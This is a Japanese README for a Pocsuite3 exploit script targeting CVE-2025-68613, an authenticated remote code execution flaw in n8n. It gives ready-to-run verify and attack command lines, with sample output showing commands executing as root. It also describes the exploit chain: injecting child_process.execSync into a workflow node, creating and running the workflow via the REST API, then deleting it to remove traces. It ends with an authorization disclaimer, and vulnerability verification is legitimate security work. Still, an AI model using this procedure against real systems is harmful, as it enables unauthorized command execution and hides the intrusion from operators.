
Pocsuite3 フレームワークに基づいて作成された脆弱性の検証・悪用スクリプトで、n8n ワークフロー自動化ツールにおける認証後のリモートコード実行(RCE)脆弱性を検出するために使用されます。
CVE ID: CVE-2025-68613
種別: 認証済みリモートコード実行
フレームワーク: Pocsuite3
これは Pocsuite3 フレームワークに基づいて作成された脆弱性検証・利用スクリプトであり、n8n ワークフロー自動化ツールにおける認証後のリモートコード実行(RCE)の脆弱性を検出するためのものです。このスクリプトは無害な検証(Verify)とコマンド実行(Attack)の2つのモードをサポートし、テスト痕跡を自動的にクリーンアップする機能も備えています。
このスクリプトは、Pocsuite3 の基本パラメータに以下のカスタムパラメータを追加しています。実行時には --options で渡す必要があります。
| パラメータ名 | 必須 | デフォルト値 | 説明 |
|---|---|---|---|
api_key | ✅ | - | ターゲットの X-N8N-API-KEY(認証に必須) |
cmd | ❌ | id | Attack モードで実行するシステムコマンド |
pocsuite3 がインストールされていることを確認し(pip install pocsuite3)、スクリプトを n8n_auth_rce.py として保存してください。
検証モードでは、スクリプトは安全な数学計算(11111 + 22222)を含むワークフローをターゲットに送信します。戻り値が 33333 の場合、JS エンジンが悪意を持って呼び出される可能性があることが証明されます。
このモードは無害で、システムコマンドは実行されません。
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --verify --options '{"api_key": "YOUR_API_KEY_HERE"}'
想定出力:
[+] Vulnerable! JS Expression executed. Result: 33333
攻撃モードでは、任意のシステムコマンドを実行できます。デフォルトでは id コマンドを実行し、cmd パラメータでコマンドをカスタマイズすることもできます。
デフォルトコマンドを実行 (id):
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --attack --options '{"api_key": "YOUR_API_KEY_HERE"}'
カスタムコマンドを実行(例: whoami):
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --attack --options '{"api_key": "YOUR_API_KEY_HERE", "cmd": "whoami"}'
想定出力:
[+] Command 'whoami' executed:
root
この PoC の実行フローはクローズドループ操作として設計されており、対象システムへの残留影響を最小限に抑えます:
api_key を使用して、n8n-nodes-base.set ノードを含む悪意のある Workflow JSON を構築します。require('child_process').execSync(...))をノードの value フィールドに注入します。POST リクエストを /rest/workflows に送信して一時ワークフローを作成し、workflow_id を取得します。POST リクエストを /rest/workflows/{id}/run に送信してワークフローの実行をトリガーし、返された JSON を解析してコマンド実行結果を取得します。DELETE リクエストを /rest/workflows/{id} に送信して一時ワークフローを削除し、環境をクリーンな状態に保ちます。使用前に必ずお読みください
- 認可の原則: このツールは、サイバーセキュリティ従事者が明確な許可を得た場合にのみ、対象システムのセキュリティテストまたは脆弱性検証のために使用してください。
- 違法行為: 許可のないペネトレーションテスト、攻撃行為、または不正な目的のためにこのツールを使用することは固く禁じられています。
- 責任の負担: このツールの使用によって生じたいかなる結果(システム損傷、データ損失、法的紛争などを含みますがこれらに限りません)も、すべて使用者が負担するものとし、開発者および貢献者は一切の法的責任を負いません。
- コンプライアンス: 使用者は現地の法令(中華人民共和国サイバーセキュリティ法など)を遵守する必要があります。